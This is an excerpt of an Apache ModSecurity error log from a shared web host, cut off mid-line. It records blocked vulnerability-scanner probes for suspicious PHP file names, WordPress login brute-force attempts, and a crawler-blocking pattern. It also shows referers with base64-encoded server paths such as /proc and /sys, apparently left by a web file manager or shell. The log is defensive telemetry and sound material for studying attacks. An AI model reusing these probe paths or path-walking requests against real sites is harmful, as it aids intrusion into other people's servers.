"/php52/tests/classes/inheritance_004.phpt"] [unique_id "ai3xQMTA7b1mZrmcA-8b5QAAAiE"] [Sat Jun 13 18:09:36.181386 2026] [security2:error] [pid 531797:tid 532013] [client 172.171.3.232:36208] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/wemanso.php7"] [unique_id "ai3xQMTA7b1mZrmcA-8b5gAAAiU"] [Sat Jun 13 18:09:36.286666 2026] [access_compat:error] [pid 531155:tid 531229] [remote 216.73.216.182:44946] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:36.287101 2026] [access_compat:error] [pid 531155:tid 531229] [remote 216.73.216.182:44946] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:36.383753 2026] [security2:error] [pid 531797:tid 532119] [client 172.56.168.133:4751] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xQMTA7b1mZrmcA-8b6gAAAos"] [Sat Jun 13 18:09:36.383857 2026] [security2:error] [pid 531797:tid 532119] [client 172.56.168.133:4751] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xQMTA7b1mZrmcA-8b6gAAAos"] [Sat Jun 13 18:09:36.460270 2026] [security2:error] [pid 531797:tid 531951] [remote 17.241.75.27:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 27.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xQMTA7b1mZrmcA-8b7gACQlc"] [Sat Jun 13 18:09:36.464927 2026] [access_compat:error] [pid 531797:tid 531925] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:09:36.465373 2026] [access_compat:error] [pid 531797:tid 531925] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:09:36.517015 2026] [security2:error] [pid 531797:tid 532002] [client 191.234.188.123:47997] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/clque.php"] [unique_id "ai3xQMTA7b1mZrmcA-8b8AAAAho"] [Sat Jun 13 18:09:36.543352 2026] [access_compat:error] [pid 531797:tid 531899] [remote 57.141.14.96:46101] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:36.543664 2026] [access_compat:error] [pid 531797:tid 531899] [remote 57.141.14.96:46101] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:36.554145 2026] [access_compat:error] [pid 531155:tid 531256] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NS9kZXZpY2U= [Sat Jun 13 18:09:36.554592 2026] [access_compat:error] [pid 531155:tid 531256] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NS9kZXZpY2U= [Sat Jun 13 18:09:36.591826 2026] [access_compat:error] [pid 531797:tid 531866] [remote 57.141.14.92:40852] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:36.592109 2026] [access_compat:error] [pid 531797:tid 531866] [remote 57.141.14.92:40852] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:36.605996 2026] [security2:error] [pid 531797:tid 532070] [client 20.151.217.54:46227] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.opryidaho.dennis-cooper.com"] [uri "/auto.php"] [unique_id "ai3xQMTA7b1mZrmcA-8b9AAAAlw"] [Sat Jun 13 18:09:36.830232 2026] [security2:error] [pid 531797:tid 531935] [remote 17.246.23.41:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 41.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xQMTA7b1mZrmcA-8b-gACdUc"] [Sat Jun 13 18:09:36.864172 2026] [security2:error] [pid 531797:tid 531958] [remote 17.22.245.154:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 154.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xQMTA7b1mZrmcA-8b-wACN14"] [Sat Jun 13 18:09:36.937938 2026] [security2:error] [pid 531155:tid 531263] [remote 203.172.89.21:50874] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 21.89.172.203.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "transparentyouth.com"] [uri "/wp-login.php"] [unique_id "ai3xQCmiP80klyS0NnrzFQABWWs"] [Sat Jun 13 18:09:36.999892 2026] [access_compat:error] [pid 531797:tid 531928] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:09:37.000268 2026] [access_compat:error] [pid 531797:tid 531928] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:09:37.019429 2026] [access_compat:error] [pid 531797:tid 531940] [remote 57.141.14.95:40591] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:37.019867 2026] [access_compat:error] [pid 531797:tid 531940] [remote 57.141.14.95:40591] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:37.082048 2026] [access_compat:error] [pid 531155:tid 531216] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9kZXZpY2UvbW91c2UxL2RldmljZQ== [Sat Jun 13 18:09:37.082457 2026] [access_compat:error] [pid 531155:tid 531216] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9kZXZpY2UvbW91c2UxL2RldmljZQ== [Sat Jun 13 18:09:37.343239 2026] [security2:error] [pid 531797:tid 531991] [remote 17.241.219.34:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 34.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xQcTA7b1mZrmcA-8cBwACRX4"] [Sat Jun 13 18:09:37.481879 2026] [access_compat:error] [pid 531797:tid 531971] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:09:37.482294 2026] [access_compat:error] [pid 531797:tid 531971] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:09:37.539937 2026] [access_compat:error] [pid 531797:tid 531943] [remote 57.141.14.90:56856] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:37.540374 2026] [access_compat:error] [pid 531797:tid 531943] [remote 57.141.14.90:56856] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:37.544848 2026] [access_compat:error] [pid 531155:tid 531195] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:09:37.545285 2026] [access_compat:error] [pid 531155:tid 531195] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:09:37.749537 2026] [security2:error] [pid 531155:tid 531205] [remote 17.22.253.162:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 162.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xQSmiP80klyS0NnrzLQABcjE"] [Sat Jun 13 18:09:37.814694 2026] [security2:error] [pid 531797:tid 532061] [client 191.234.188.123:48049] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/2026w.php"] [unique_id "ai3xQcTA7b1mZrmcA-8cEgAAAlM"] [Sat Jun 13 18:09:37.852810 2026] [security2:error] [pid 531797:tid 532038] [client 191.234.188.123:29029] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.ameritekwater.com"] [uri "/444.php"] [unique_id "ai3xQcTA7b1mZrmcA-8cFAAAAj0"] [Sat Jun 13 18:09:37.922917 2026] [access_compat:error] [pid 531797:tid 531910] [remote 57.141.14.62:36190] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:37.923282 2026] [access_compat:error] [pid 531797:tid 531910] [remote 57.141.14.62:36190] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:37.969901 2026] [access_compat:error] [pid 531797:tid 531884] [remote 57.141.14.101:22230] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:37.970357 2026] [access_compat:error] [pid 531797:tid 531884] [remote 57.141.14.101:22230] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:37.981500 2026] [access_compat:error] [pid 531155:tid 531226] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?del=admin&p=L3Byb2MvNTMxODAzL2N3ZA== [Sat Jun 13 18:09:37.981815 2026] [access_compat:error] [pid 531155:tid 531226] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?del=admin&p=L3Byb2MvNTMxODAzL2N3ZA== [Sat Jun 13 18:09:37.992613 2026] [security2:error] [pid 531797:tid 531870] [remote 17.246.23.26:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xQcTA7b1mZrmcA-8cHAACeQY"] [Sat Jun 13 18:09:38.079304 2026] [access_compat:error] [pid 531797:tid 531954] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:09:38.079726 2026] [access_compat:error] [pid 531797:tid 531954] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:09:38.094827 2026] [access_compat:error] [pid 531797:tid 531982] [remote 57.141.14.33:41067] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:38.095281 2026] [access_compat:error] [pid 531797:tid 531982] [remote 57.141.14.33:41067] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:38.122515 2026] [access_compat:error] [pid 531155:tid 531170] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDUvbW91c2UwL3Bvd2Vy [Sat Jun 13 18:09:38.122834 2026] [access_compat:error] [pid 531155:tid 531170] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDUvbW91c2UwL3Bvd2Vy [Sat Jun 13 18:09:38.271026 2026] [core:error] [pid 531155:tid 531343] [client 47.79.207.113:31642] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:09:38.271060 2026] [core:error] [pid 531155:tid 531343] [client 47.79.207.113:31642] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:09:38.320790 2026] [access_compat:error] [pid 531797:tid 531875] [remote 57.141.14.18:58430] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:38.321124 2026] [access_compat:error] [pid 531797:tid 531875] [remote 57.141.14.18:58430] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:38.363318 2026] [security2:error] [pid 531155:tid 531248] [remote 17.241.75.52:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 52.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xQimiP80klyS0NnrzQQABHlw"] [Sat Jun 13 18:09:38.403140 2026] [access_compat:error] [pid 531797:tid 531901] [remote 57.141.14.101:22232] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:38.403432 2026] [access_compat:error] [pid 531797:tid 531901] [remote 57.141.14.101:22232] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:38.415690 2026] [security2:error] [pid 531797:tid 532012] [client 114.119.139.123:61757] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.justincontursi.com"] [uri "/family/familytree/contursi/Denise_Meyer.html"] [unique_id "ai3xQsTA7b1mZrmcA-8cLgAAAiQ"], referer: http://www.justincontursi.com/family/familytree/events/206.html [Sat Jun 13 18:09:38.600607 2026] [access_compat:error] [pid 531797:tid 531981] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:09:38.601013 2026] [access_compat:error] [pid 531797:tid 531981] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9saWI2NA== [Sat Jun 13 18:09:38.675158 2026] [access_compat:error] [pid 531155:tid 531207] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:09:38.675626 2026] [access_compat:error] [pid 531155:tid 531207] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:09:38.754005 2026] [security2:error] [pid 531797:tid 531865] [remote 110.249.202.176:40402] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "taracom.net"] [uri "/about/"] [unique_id "ai3xQsTA7b1mZrmcA-8cQgACRQE"] [Sat Jun 13 18:09:38.879332 2026] [access_compat:error] [pid 531797:tid 531880] [remote 57.141.14.72:37095] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:38.879766 2026] [access_compat:error] [pid 531797:tid 531880] [remote 57.141.14.72:37095] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:39.139725 2026] [access_compat:error] [pid 531797:tid 